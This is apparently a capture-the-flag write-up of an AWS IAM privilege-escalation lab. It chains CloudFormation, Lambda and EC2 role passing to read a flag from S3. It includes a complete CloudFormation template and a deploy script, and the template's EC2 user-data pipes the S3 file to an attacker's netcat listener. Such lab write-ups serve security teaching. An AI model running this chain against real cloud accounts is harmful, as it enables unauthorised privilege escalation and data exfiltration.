In the 2022 FIFA World Cup, Christian Pulisic put his body on the line to net a crucial goal for the USA, ensuring their progression beyond the group stage: https://www.youtube.com/watch?v=Y7VA30UYlQo. He did what he had to do, even though he knew it was going to hurt.
Similarly, during a penetration test, whether in a cloud environment or otherwise, you might identify a exploit path that won’t be pleasant to exploit, but you know the end result will be worth it.
For this challenge, you have just gained access to the role christian_pulisic. The trophy target for this challenge is in an s3 bucket named pain-s3-[random-chars] in your account.
Start with christian_pulisic and follow the permissions until you see the path. That’s the easy part :). Executing the exploit chain… not so easy.
Pulisic in the hospital
First things first, set up the profile, and test access.
1
2
3
4
5
6
7
8
9
10
11
12
13
| adicpnn@laboratory cloud % cat ~/.aws/config | tail
[profile chris]
region = eu-central-1
role_arn = arn:aws:iam::129323993607:role/christian_pulisic
source_profile = cloudfoxable
adicpnn@laboratory cloud % aws sts get-caller-identity --profile chris
{
"UserId": "AROAR4HCPRID3CJXSNQTL:botocore-session-1773330487",
"Account": "129323993607",
"Arn": "arn:aws:sts::129323993607:assumed-role/christian_pulisic/botocore-session-1773330487"
}
|
Then, enumerating attached policies.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name christian_pulisic --profile cloudfoxable
{
"AttachedPolicies": [
{
"PolicyName": "pain-policy",
"PolicyArn": "arn:aws:iam::129323993607:policy/pain-policy"
},
{
"PolicyName": "AWSCloudFormationReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess"
},
{
"PolicyName": "AmazonEC2ReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AmazonEC2ReadOnlyAccess"
}
]
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain-policy --version-id v1 --profile cloudfoxable
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"cloudformation:CreateStack",
"cloudformation:DescribeStacks",
"cloudformation:DeleteStack",
"cloudformation:DescribeStackEvents",
"cloudformation:DescribeStackResource",
"cloudformation:DescribeStackResources",
"cloudformation:DescribeStacks"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"iam:PassRole"
],
"Effect": "Allow",
"Resource": [
"*"
]
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-03-11T15:43:57+00:00"
}
}
|
This permissions combination is a common IAM Privilege Escalation vector, nicely documented by Seth Art here:
A principal with iam:PassRole and cloudformation:CreateStack can launch a CloudFormation template that creates AWS resources. The template executes with the permissions of the passed IAM role. This allows creation of resources controlled by the attacker, such as IAM users, Lambda functions, or EC2 instances. The level of access gained depends on the permissions of the available roles.
To proceed from here, I’ll need to find a role in the AWS Account that trusts “cloudformation.amazonaws.com” to assume it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| aws iam list-roles --profile cloudfoxable | jq '.Roles | map({Arn,AssumeRolePolicyDocument})'
...
{
"Arn": "arn:aws:iam::129323993607:role/tab_ramos",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "cloudformation.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
},
...
|
Let’s see if the role has any administrative privileges.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name tab_ramos --profile cloudfoxable
{
"AttachedPolicies": [
{
"PolicyName": "pain2-policy",
"PolicyArn": "arn:aws:iam::129323993607:policy/pain2-policy"
},
{
"PolicyName": "AWSLambda_FullAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_FullAccess"
}
]
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain2-policy --version-id v1 --profile cloudfoxable
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:PassRole"
],
"Effect": "Deny",
"Resource": [
"arn:aws:iam::*:role/aaronson",
"arn:aws:iam::*:role/my-app-role",
"arn:aws:iam::*:role/producer",
"arn:aws:iam::*:role/ream",
"arn:aws:iam::*:role/sauerbrunn",
"arn:aws:iam::*:role/swanson",
"arn:aws:iam::*:role/lambda_*"
]
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-03-11T15:43:57+00:00"
}
}
|
What this means so far, is that cloudformation has full access over lambda, and that it can pass another role to it. Now I need to find a role that allows lambda.amazonaws.com to assume it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
| aws iam list-roles --profile cloudfoxable | jq '.Roles | map({Arn,AssumeRolePolicyDocument})'
...
{
"Arn": "arn:aws:iam::129323993607:role/brian_mcbride",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
},
...
adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name brian_mcbride --profile cloudfoxable
{
"AttachedPolicies": [
{
"PolicyName": "pain3-ec2-policy",
"PolicyArn": "arn:aws:iam::129323993607:policy/pain3-ec2-policy"
},
{
"PolicyName": "AWSLambdaBasicExecutionRole",
"PolicyArn": "arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole"
}
]
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain3-ec2-policy --version-id v1 --profile cloudfoxable
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"ec2:RunInstances",
"ec2:DescribeInstances",
"ec2:TerminateInstances",
"ec2:Describe*"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"iam:PassRole"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"iam:PassRole"
],
"Effect": "Deny",
"Resource": [
"arn:aws:iam::*:role/double_*",
"arn:aws:iam::*:role/ec2_privileged",
"arn:aws:iam::*:role/fox",
"arn:aws:iam::*:role/wyatt",
"arn:aws:iam::*:role/reyna"
]
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-03-11T15:43:56+00:00"
}
}
|
Ok, now this essentially means that a lambda function could create an EC2 instance, and pass it another role. The potential attack chain lengthens.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| aws iam list-roles --profile cloudfoxable | jq '.Roles | map({Arn,AssumeRolePolicyDocument})'
...
{
"Arn": "arn:aws:iam::129323993607:role/landon_donovan",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
},
...
adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name landon_donovan --profile cloudfoxable
{
"AttachedPolicies": [
{
"PolicyName": "pain4-policy",
"PolicyArn": "arn:aws:iam::129323993607:policy/pain4-policy"
}
]
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain4-policy --version-id v1 --profile cloudfoxable
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::pain-s3-1v1nf",
"arn:aws:s3:::pain-s3-1v1nf/*"
]
},
{
"Action": [
"s3:ListAllMyBuckets"
],
"Effect": "Allow",
"Resource": [
"*"
]
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-03-11T15:44:08+00:00"
}
}
|
And finally, an EC2 instance could assume an instance profile that allows it to list an s3 bucket.
To summarize everything so far:
- Our user can create cloudformation stacks, and pass them the role
tab_ramos - Cloudformation can create and invoke a lambda function, and pass it the role
brian_mcbride - A lambda function with the aforementioned role can run an EC2 instance, and pass it the role
landon_donovan - The EC2 instance could then read from an S3 bucket
For this challenge, with the help of trusty Claude AI, I’ve built a cloudformation template that automates all of that, and tells the EC2 instance to send the flag.txt file to another EC2 instance I use as an exfiltration point.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
| AWSTemplateFormatVersion: '2010-09-09'
Description: >
Stack that creates a Lambda function which launches an EC2 instance.
The EC2 instance reads from S3 and sends the listing + all file contents
to a remote server via netcat.
Parameters:
LambdaRoleArn:
Type: String
Description: the existing IAM role for the Lambda function
Ec2InstanceProfileArn:
Type: String
Description: >
ARN of the Instance Profile that wraps Role3 – assigned to the EC2 instance.
Format: arn:aws:iam::123456789012:instance-profile/Role3ProfileName
S3BucketName:
Type: String
Description: Name of the existing S3 bucket whose contents you want to list
NcHost:
Type: String
Description: Hostname or IP of the netcat receiver
NcPort:
Type: Number
Description: TCP port the netcat receiver is listening on
Ec2AmiId:
Type: String
Default: ami-096a4fdbcf530d8e0
Description: >
AMI ID for the EC2 instance. Default is Amazon Linux 2023 in eu-central-1.
Ec2InstanceType:
Type: String
Default: t3.micro
Resources:
S3ListLambda:
Type: AWS::Lambda::Function
Properties:
FunctionName: !Sub "${AWS::StackName}-s3-list"
Runtime: python3.12
Handler: index.handler
Role: !Ref LambdaRoleArn
Timeout: 30
Environment:
Variables:
INSTANCE_PROFILE_ARN: !Ref Ec2InstanceProfileArn
S3_BUCKET: !Ref S3BucketName
NC_HOST: !Ref NcHost
NC_PORT: !Ref NcPort
AMI_ID: !Ref Ec2AmiId
INSTANCE_TYPE: !Ref Ec2InstanceType
Code:
ZipFile: |
import boto3, os, json
from urllib.request import urlopen, Request
from urllib.error import URLError
ec2 = boto3.client("ec2")
def send_cfn_response(event, context, status, reason="", data={}):
"""Signal CloudFormation that the custom resource succeeded or failed."""
body = json.dumps({
"Status": status,
"Reason": reason,
"PhysicalResourceId": context.log_stream_name,
"StackId": event["StackId"],
"RequestId": event["RequestId"],
"LogicalResourceId": event["LogicalResourceId"],
"Data": data,
}).encode()
req = Request(event["ResponseURL"], data=body,
headers={"Content-Type": ""}, method="PUT")
try:
urlopen(req, timeout=10)
except URLError as e:
print(f"CFN response failed: {e}")
def handler(event, context):
print(json.dumps(event))
# On stack DELETE CloudFormation sends a Delete request – just succeed.
if event.get("RequestType") == "Delete":
send_cfn_response(event, context, "SUCCESS")
return
try:
bucket = os.environ["S3_BUCKET"]
profile_arn = os.environ["INSTANCE_PROFILE_ARN"]
ami_id = os.environ["AMI_ID"]
instance_type = os.environ["INSTANCE_TYPE"]
nc_host = os.environ["NC_HOST"]
nc_port = os.environ["NC_PORT"]
user_data = f"""#!/bin/bash
set -e
BUCKET="{bucket}"
NC_HOST="{nc_host}"
NC_PORT="{nc_port}"
# Install netcat (not included by default on Amazon Linux 2023)
yum install -y nmap-ncat
aws s3 cp s3://$BUCKET/flag.txt /tmp/flag.txt
cat /tmp/flag.txt | nc -w 5 "$NC_HOST" "$NC_PORT"
shutdown -h now
"""
resp = ec2.run_instances(
ImageId=ami_id,
InstanceType=instance_type,
MinCount=1,
MaxCount=1,
IamInstanceProfile={"Arn": profile_arn},
UserData=user_data,
InstanceInitiatedShutdownBehavior="terminate",
)
instance_id = resp["Instances"][0]["InstanceId"]
print(json.dumps({"launched_instance": instance_id, "bucket": bucket}))
send_cfn_response(event, context, "SUCCESS",
data={"InstanceId": instance_id})
except Exception as e:
print(f"Error: {e}")
send_cfn_response(event, context, "FAILED", reason=str(e))
# Triggers the Lambda exactly once when the stack is created
LambdaTrigger:
Type: Custom::LaunchEc2Job
DependsOn: S3ListLambda
Properties:
ServiceToken: !GetAtt S3ListLambda.Arn
Outputs:
LambdaFunctionName:
Value: !Ref S3ListLambda
Description: Lambda that launches the EC2 job (auto-invoked on stack deploy)
|
I can run this now, with a little helper script to pass in all the variables, ensuring that I first ran the netcat listener on my other EC2 instance.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| export AWS_REGION="eu-central-1" # change if needed
export STACK_NAME="mystack"
export S3_BUCKET="pain-s3-xtz98" # bucket you want to read
export ROLE1_ARN="arn:aws:iam::129323993607:role/tab_ramos"
export ROLE2_ARN="arn:aws:iam::129323993607:role/brian_mcbride"
export ROLE3_PROFILE_ARN="arn:aws:iam::129323993607:instance-profile/landon_donovan"
export NC_HOST="IPV4" # IP or hostname of your receiving server
export NC_PORT="9999" # e.g. 9999
aws cloudformation create-stack \
--stack-name "$STACK_NAME" \
--template-body file://cfn-template.yaml \
--role-arn "$ROLE1_ARN" \
--parameters \
ParameterKey=LambdaRoleArn,ParameterValue="$ROLE2_ARN" \
ParameterKey=Ec2InstanceProfileArn,ParameterValue="$ROLE3_PROFILE_ARN" \
ParameterKey=S3BucketName,ParameterValue="$S3_BUCKET" \
ParameterKey=NcHost,ParameterValue="$NC_HOST" \
ParameterKey=NcPort,ParameterValue="$NC_PORT" \
--capabilities CAPABILITY_IAM \
--region "$AWS_REGION" \
--profile "pulisic"
echo "Stack creation started. Waiting for CREATE_COMPLETE..."
aws cloudformation wait stack-create-complete \
--stack-name "$STACK_NAME" \
--region "$AWS_REGION" \
--profile "pulisic"
echo "Stack created – EC2 instance launched automatically"
echo "Watch your netcat listener for incoming data."
|
Then, I can simply run the script, and if everything has been set-up properly, success will ensure.
1
2
3
4
5
6
7
8
| adicpnn@laboratory cloud % ./pain_setup.sh
{
"StackId": "arn:aws:cloudformation:eu-central-1:129323993607:stack/mystack/98f8f250-1ee2-11f1-be96-0aa3466a036b",
"OperationId": "a1d281c7-3633-403b-a928-cdf17f14bda8"
}
Stack creation started. Waiting for CREATE_COMPLETE...
Stack created – EC2 instance launched automatically
Watch your netcat listener for incoming data.
|
1
2
3
4
5
6
7
8
| [ec2-user@ip-172-31-37-14 ~]$ nc -lnvp 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 3.69.165.187.
Ncat: Connection from 3.69.165.187:53060.
FLAG{pain::pulisic_is_proud_of_you}
|
Nicely done!
If you’re trying this for yourself, make sure to manually delete the EC2 instance created, as it’s created by lambda, not cloudformation, and won’t be deleted with the stack.